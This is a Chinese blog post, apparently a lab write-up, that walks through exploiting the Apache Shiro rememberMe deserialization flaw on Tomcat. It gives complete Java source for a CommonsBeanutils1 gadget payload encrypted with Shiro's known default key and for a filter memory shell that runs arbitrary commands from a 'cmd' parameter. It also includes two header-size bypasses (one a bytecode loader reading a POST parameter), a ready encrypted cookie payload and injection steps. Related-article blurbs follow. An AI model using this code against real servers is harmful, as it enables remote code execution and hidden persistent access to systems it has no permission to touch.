shiro注入filter内存马(绕过长度限制)

关于shiro利用工具玄学的问题 声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。 阅读详情

shiro环境

https://github.com/yyhuni/shiroMemshell(实验环境)
在这里插入图片描述
这里用的
Client_memshell.java

package com.example.demo;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client_memshell {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(BehinderFilter.class.getName());

        byte[] payloads = new CommonsBeanutils1Shiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

BehinderFilter.java

package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.io.IOException;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import java.lang.reflect.Constructor;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.Context;
import javax.servlet.*;

public class BehinderFilter extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "evil";
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            BehinderFilter behinderFilter = new BehinderFilter();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (NoSuchFieldException ex) {
            ex.printStackTrace();
        } catch (InvocationTargetException ex) {
            ex.printStackTrace();
        } catch (IllegalAccessException ex) {
            ex.printStackTrace();
        } catch (NoSuchMethodException ex) {
            ex.printStackTrace();
        } catch (InstantiationException ex) {
            ex.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }

    @Override
    public void destroy() {

    }
}

CommonsBeanutils1Shiro.java

package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutils1Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }
}

进行base64和aes加密
在这里插入图片描述
然后将这段输入漏洞处rememberme=
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
注意:
一开始输入这段很长的payload返回包会报400,如下:在这里插入图片描述
这是因为tomcat有最大请求头的长度限制,我本地添加如下(修改maxHTTPHeaderSize)
在这里插入图片描述
即可正常返回200,注入成功,因此实战过程还有绕过长度限制
https://zhuanlan.zhihu.com/p/516836433

同时代码种爆红

绕过长度限制(maxHttpHeaderSize)

网上给了三种解决方式
1.修改maxHttpHeaderSize
2.将class bytes使用gzip+base64压缩编码(暂不研究)
3.从POST请求体中发送字节码数据(强烈推荐)
第一种:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {

    static {
        try {
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
            java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
            contextField.setAccessible(true);
            headerSizeField.setAccessible(true);
            serviceField.setAccessible(true);
            requestField.setAccessible(true);
            getHandlerMethod.setAccessible(true);
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
            for (int i = 0; i < connectors.length; i++) {
                if (4 == connectors[i].getScheme().length()) {
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
                        for (int j = 0; j < classes.length; j++) {
                            // org.apache.coyote.AbstractProtocol$ConnectionHandler
                            if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
                                globalField.setAccessible(true);
                                processorsField.setAccessible(true);
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
                                for (int k = 0; k < list.size(); k++) {
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
                                    // 10000 为修改后的 headersize 
                                    headerSizeField.set(tempRequest.getInputBuffer(),10000);
                                }
                            }
                        }
                        // 10000 为修改后的 headersize 
                        ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(10000);
                    }
                }
            }
        } catch (Exception e) {
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制

第三种的实现如下:

tomcat+shiro环境下

还是利用CommonsBeanutils1Shiro类,Client_memshell类,ClassDataLoader为最终写好的绕过类(相当于加载类)
ClassDataLoader.java

package com.example.demo;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet{

    public ClassDataLoader() throws Exception {
        Object o;
        String s;
        String classData = null;
        boolean done = false;
        Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
        for (int i = 0; i < ts.length; i++) {
            Thread t = ts[i];
            if (t == null) {
                continue;
            }
            s = t.getName();
            if (!s.contains("exec") && s.contains("http")) {
                o = getFV(t, "target");
                if (!(o instanceof Runnable)) {
                    continue;
                }
                try {
                    o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
                } catch (Exception e) {
                    continue;
                }
                java.util.List ps = (java.util.List) getFV(o, "processors");
                for (int j = 0; j < ps.size(); j++) {
                    Object p = ps.get(j);
                    o = getFV(p, "req");

                    Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
                    classData = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("classData")});

                    byte[] bytecodes = org.apache.shiro.codec.Base64.decode(classData);
                    java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
                    defineClassMethod.setAccessible(true);
                    Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    cc.newInstance();
                    done = true;

                    if (done) {
                        break;
                    }
                }
            }
        }


    }

    public Object getFV(Object o, String s) throws Exception {
        java.lang.reflect.Field f = null;
        Class clazz = o.getClass();
        while (clazz != Object.class) {
            try {
                f = clazz.getDeclaredField(s);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }
        if (f == null) {
            throw new NoSuchFieldException(s);
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

}

在这里插入图片描述
和上面的实现利用不一样的是,这里我们用Client_memshell来对绕过的加载类进行AES+base64加密,将得到的结果放到头部cookie的rememberme=处
本次实验加载器到的结果如下(每次运行都不一样,所以以后用的时候还需要代码生成,不能直接搬运)

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

而我们的恶意类BehinderFilter(也就是内存马),进行base64编码+url编码,放到classData参数(这里必须是classData其他不行)处

cat /root/Desktop/BehinderFilter.class|base64 |sed ':label;N;s/\n//;b label'

在这里插入图片描述
在这里插入图片描述
然后放到数据包中即可

成功截图:
在这里插入图片描述
在这里插入图片描述
之后完善分段加载方式

Shiro反序列化漏洞实战:从探测到内存马植入的完整攻防解析 Java反序列化漏洞是Web安全领域的经典议题,其原理在于应用在反序列化不可信数据时,可能执行恶意构造的代码链。这项技术的核心价值在于它能够绕过常规安全边界,直接实现远程代码执行,在渗透测试和红蓝对抗中具有极高利用价值。典型的应用场景包括攻击使用Java框架的Web应用,尤其是那些存在默认配置或硬编码密钥的系统。本文聚焦于Apache Shiro框架的rememberMe反序列化漏洞,详细拆解了从资产探测、密钥爆破到利用JRMP协议进行攻击的完整链条。其中,内存马作为权限维持的关键技术,实现了无文件、隐蔽的 阅读详情

相关推荐

Shiro反序列化漏洞实战:从JRMP探测到内存马注入的完整攻防演练

Java反序列化漏洞是Web安全领域的经典议题,其原理在于Java对象序列化与反序列化过程中,若未对输入数据进行严格校验,攻击者可构造恶意序列化数据触发预设代码执行链,实现远程命令执行。这项技术的核心价值在于能够绕过常规输入过滤,直接作用于应用运行时环境,常被用于权限提升与持久化控制。在Apache Shiro框架的会话管理机制中,由于历史版本使用硬编码或弱密钥对序列化会话数据进行加密,结合JRMP协议实现二次引导,可有效绕过长度限制并动态传递恶意载荷,最终通过注入无文件内存马实现隐蔽驻留。本文聚焦Shir

weixin_30567225的博客 428

[Java安全]—Shiro回显内存马注入

接上篇[Java安全]—Tomcat反序列化注入回显内存马_,在上篇提到师傅们找到了一种Tomcat注入回显内存马的方法, 但他其实有个不足之处:由于shiro中自定义了一个filter,因此无法在shiro中注入内存马。所以在后边师傅们又找到了一个基于全局存储的新思路,可以在除tomcat 7以外的其他版本中使用。思路仍然为寻找 tomcat 中哪个类会存储 Request 和 Response在AbstractProcessor类中发现Request 和 Response,并且是final的,这就意味着

Sentiment的博客 2918

Java内存马攻防实战:从Filter注入到检测与防御

在Java Web安全领域,内存马是一种高级攻击技术,它利用Java的类加载和反射机制,将恶意代码直接注入到JVM运行时内存中,实现无文件持久化。其核心原理是通过动态注册Filter、Servlet或Listener等Web组件,将恶意逻辑嵌入正常的请求处理流程。这种技术让传统基于文件特征的安全检测手段失效,对应用安全构成严重威胁。从技术价值看,理解内存马有助于构建纵深防御体系,提升对应用运行时安全的监控能力。在实际应用场景中,内存马常与哥斯拉、冰蝎等WebShell管理工具结合,通过Shiro、Fastj

weixin_33719619的博客 464

Shiro注入内存马

前段时间学习了在Shell中如何注入Filter型内存马,搞忘了写博客了,这里重新来记录一下过程。这里直接选择用CB链来打,CB链忘记了可以看前面的文章:https://www.le1a.com/posts/a5f4a9e3/

Le1a's Blog 2342

Shiro反序列化漏洞检测与利用:从原理到实战的自动化工具指南

Java反序列化漏洞是Web安全领域的重要议题,其原理在于攻击者通过构造恶意序列化数据,在目标系统反序列化时触发任意代码执行。这项技术的核心价值在于能够绕过常规防御,直接威胁应用服务器安全,在渗透测试和红蓝对抗中尤为关键。Apache Shiro框架因其广泛使用和rememberMe功能的加密实现,成为反序列化漏洞的典型场景。针对这一特定漏洞,自动化工具如ShiroAttack2应运而生,它通过集成指纹识别、密钥爆破和利用链投递,将原本繁琐的手动检测流程自动化,显著提升了安全测试效率。在实际应用中,这类工具

weixin_30315905的博客 403

Shiro反序列化漏洞深度解析:从AES密钥硬编码到RCE实战攻防

Java反序列化是Java安全领域的核心概念之一,它允许将字节流还原为对象,但这一机制也带来了严重的安全风险。其原理在于,Java在反序列化时会自动调用对象的readObject方法,如果反序列化的数据被恶意构造,就可能触发任意代码执行。这一技术价值在于,它常被用于框架间的数据传递,但一旦处理不当,就会成为攻击者突破系统防线的关键入口。在Web应用安全中,反序列化漏洞常出现在处理用户可控数据的场景,例如Cookie、Session或RPC通信。Apache Shiro框架的“记住我”功能正是这样一个典型场景

weixin_33794672的博客 360

反序列化分析到shiro注入WebSocket内存马

因为一直想要学习反序列化相关的内容,并且从反序列化延伸出来学习内存马,所以花了很大一部分精力,从CC1到CB,整体地过了一遍反序列化利用链。在学习过程中,发现一个很有意思的内存马,WebSocket内存马,感觉如果用的好的话,挺符合实际需要的,所以自己大体利用了一下,很成功,在这里整理分享出来。

weixin_42508548的博客 1439

Shiro-550漏洞攻防解析:从反序列化原理到ShiroAttack2实战利用

Java反序列化漏洞是Web安全领域的经典威胁,其原理在于应用对不可信数据执行了不安全的反序列化操作,导致攻击者能够构造恶意对象链(Gadget Chain)在目标系统上执行任意代码。这项技术的核心价值在于其利用门槛相对较低,但危害极大,常被用于远程命令执行、权限提升和持久化控制。在Java Web应用框架中,Apache Shiro因其广泛使用而成为重点攻击目标,其中Shiro-550漏洞(涉及RememberMe功能的默认密钥与不安全反序列化)尤为突出。针对此漏洞的自动化利用工具,如ShiroAttac

weixin_33923762的博客 579

Sangfor华东天勇战队:shiro注入filter内存马

思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制。和上面的实现利用不一样的是,这里我们用Client_memshell来对绕过的加载类进行AES+base64加密,将得到的结果放到头部cookie的rememberme=处。这是因为tomcat有最大请求头的长度限制,我本地添加如下(修改maxHTTPHeaderSize)

bring_coco的博客 1119

ShiroAttack2工具深度解析:从Shiro-550漏洞原理到自动化攻防实战

